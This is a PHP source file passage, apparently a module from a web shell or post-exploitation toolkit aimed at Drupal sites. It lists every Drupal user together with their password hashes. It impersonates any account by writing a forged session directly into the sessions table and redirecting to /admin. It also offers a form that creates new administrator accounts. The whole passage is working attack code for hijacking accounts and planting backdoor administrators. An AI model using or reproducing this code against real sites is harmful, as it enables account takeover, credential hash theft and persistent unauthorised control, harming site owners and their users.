$feature["op"] === $page)); $users = __PREFIX__getDrupalUsers(); $page_content = __PREFIX__makePage( $features, $css, $page, [__PREFIX__makePageHeader( $feature[0]["title"], $feature[0]["description"] ), __PREFIX__makeTable( "Users", "Drupal users to impersonate", $users, ["username" => "Username", "email" => "Email", "active" => "Active", "blocked" => "Blocked", "roles" => "Roles", "actions" => "Actions"], " " . __PREFIX__makeForm( $page, $_SERVER["REQUEST_URI"], ["

Create Drupal user

", __PREFIX__makeInput( "text", "Username", "__PARAM_2__", "admin", "Username of the user to create.", true ), __PREFIX__makeInput( "text", "Email", "__PARAM_3__", "admin@example.com", "Email of the user to create.", true ), __PREFIX__makeInput( "password", "Password", "__PARAM_4__", "••••••••", "Password of the user to create.", true )], "post", "Create user", "flex flex-col gap-y-6 mx-auto w-full" ) . "
" )] ); } /** * Lists all Drupal users */ function __PREFIX__getDrupalUsers() { global $IMPERSONATE_DRUPAL_USER; if(!class_exists("Drupal\user\Entity\Role") || !class_exists("Drupal\user\Entity\User") || !class_exists("Drupal")) { return []; } // Load all user roles. $roles = \Drupal\user\Entity\Role::loadMultiple(); // Get all permissions. $permissions = \Drupal::service('user.permissions') ->getPermissions(); // Get a list of all users. $query = \Drupal::entityQuery('user') ->accessCheck(false); $uids = $query->execute(); // Load user entities. $users = \Drupal\user\Entity\User::loadMultiple($uids); $result = []; // Iterate through each user. foreach ($users as $user) { $partial_result = []; $username = $user->getAccountName(); $partial_result["username"] = empty($username) ? "Anonymous" : $username; $partial_result["id"] = $user->id(); $partial_result["email"] = $user->getEmail(); $partial_result["active"] = $user->isActive() ? "Yes" : "No"; $partial_result["blocked"] = $user->isBlocked() ? "Yes" : "No"; $partial_result["uuid"] = $user->uuid(); $partial_result["password"] = $user->getPassword(); $partial_result["actions"] = !empty($username) ? __PREFIX__makeForm( $IMPERSONATE_DRUPAL_USER, $_SERVER["REQUEST_URI"], [__PREFIX__makeInput( "hidden", "Username", "__PARAM_1__", "", "Username of the user to impersonate.", true, null, $partial_result["id"] )], "post", "Impersonate", "flex flex-col max-w-xl mb-0" ) : ""; // Get assigned roles for the user. $user_roles = $user->getRoles(); $partial_result["roles"] = implode(", ", $user_roles); $result[] = $partial_result; } return $result; } /** * Impersonate a Drupal user * * @param $username string Username of the user to impersonate */ function __PREFIX__impersonateDrupalUser($id) { if(!class_exists("Drupal\user\Entity\User") || !class_exists("Drupal") || !class_exists("Drupal\Component\Utility\Crypt")) { if(!class_exists("Symfony\Component\HttpFoundation\RedirectResponse")) { header("Location: " . $_SERVER['REQUEST_URI']); return; } return new \Symfony\Component\HttpFoundation\RedirectResponse($_SERVER['REQUEST_URI']); } // Load the user by username. $user = \Drupal\user\Entity\User::load($id); // Check if the user exists. if ($user) { $database = \Drupal::database(); $auth = true; $sf2_meta = [ // session timestamp "u" => time(), // login timestamp as from user_field_data "c" => time(), // max session lifetime as per core.services.yml "l" => 2000000, // csrf token seed - set via Crypt::randomBytesBase64() "s" => \Drupal\Component\Utility\Crypt::randomBytesBase64(), ]; $sf2_attributes = ["uid" => "$id"]; $prefix = $database->getPrefix(); $forged_session = "auth|" . serialize($auth) . "_sf2_meta|" . serialize($sf2_meta) . "_sf2_attributes|" . serialize($sf2_attributes); try { $database->query( "update {$prefix}sessions as s set s.session=:a, timestamp=:b, uid=:c where sid=:d", [":a" => $forged_session, ":b" => $sf2_meta['u'], ":c" => $id, ":d" => \Drupal\Component\Utility\Crypt::hashBase64(session_id())] ) ->execute(); } catch (Exception) { // Uncaught exception as for some reason it fail also when the query executes successfully } // Set the authenticated user Drupal::currentUser() ->setAccount($user); } return new \Symfony\Component\HttpFoundation\RedirectResponse('/admin'); } /** * Adds a Drupal administrator user. * * @param $username string The username of the new user. * @param $email string The email address of the new user. * @param $password string The password for the new user. */ function __PREFIX__addDrupalAdministratorUser($username, $email, $password) { if(!class_exists("Drupal\user\Entity\Role") || !class_exists("Drupal\user\Entity\User") || !class_exists("Drupal")) { return; } // Load the user roles. $roles = \Drupal\user\Entity\Role::loadMultiple(); // Define the roles for the administrator user. $administrator_roles = ['administrator']; // Create a new user entity. $user = \Drupal\user\Entity\User::create(); // Set the username, email, and password. $user->setUsername($username); $user->setEmail($email); $user->setPassword($password); // Set the user status to active. $user->activate(); // Assign roles to the user. foreach ($administrator_roles as $role) { if (isset($roles[$role])) { $user->addRole($role); } } // Save the user. $user->save(); } /** * Handle the login operation * * @param $operation string The operation to handle * @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features * container * * @return mixed */ function __PREFIX__handleDrupalImpersonate($operation, $features) { if (!empty($_POST["__PARAM_1__"])) { return __PREFIX__impersonateDrupalUser($_POST["__PARAM_1__"]); } elseif (!empty($_POST["__PARAM_2__"]) && !empty($_POST["__PARAM_3__"]) && !empty($_POST["__PARAM_4__"])) { __PREFIX__addDrupalAdministratorUser( $_POST["__PARAM_2__"], $_POST["__PARAM_3__"], $_POST["__PARAM_4__"] ); if(!class_exists("Symfony\Component\HttpFoundation\RedirectResponse")) { header("Location: " . $_SERVER['REQUEST_URI']); return; } return new \Symfony\Component\HttpFoundation\RedirectResponse($_SERVER["REQUEST_URI"]); } } /** * Hook the isolated operations to add the current operation * * @param $isolated_ops array The isolated operations container * * @return void */ function __PREFIX__drupalImpersonateHooksIsolatedOps(&$isolated_ops) { global $IMPERSONATE_DRUPAL_USER; $isolated_ops[] = $IMPERSONATE_DRUPAL_USER; } /** * Hook the features to add the login feature * * @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features * container * * @return void */ function __PREFIX__drupalImpersonateHooksFeatures(&$features) { global $IMPERSONATE_DRUPAL_USER; $features[] = ["title" => "Impersonate Drupal user", "description" => "Impersonate a Drupal user by changing the current session.", "svg" => ' ', "op" => $IMPERSONATE_DRUPAL_USER]; } // section.functions.end // section.hooks add_hook("isolated_ops", "__PREFIX__drupalImpersonateHooksIsolatedOps"); add_hook("features", "__PREFIX__drupalImpersonateHooksFeatures"); add_named_hook("GET_page", $IMPERSONATE_DRUPAL_USER, "__PREFIX__makeDrupalImpersonatePage"); add_named_hook("POST_operation", $IMPERSONATE_DRUPAL_USER, "__PREFIX__handleDrupalImpersonate"); // section.hooks.end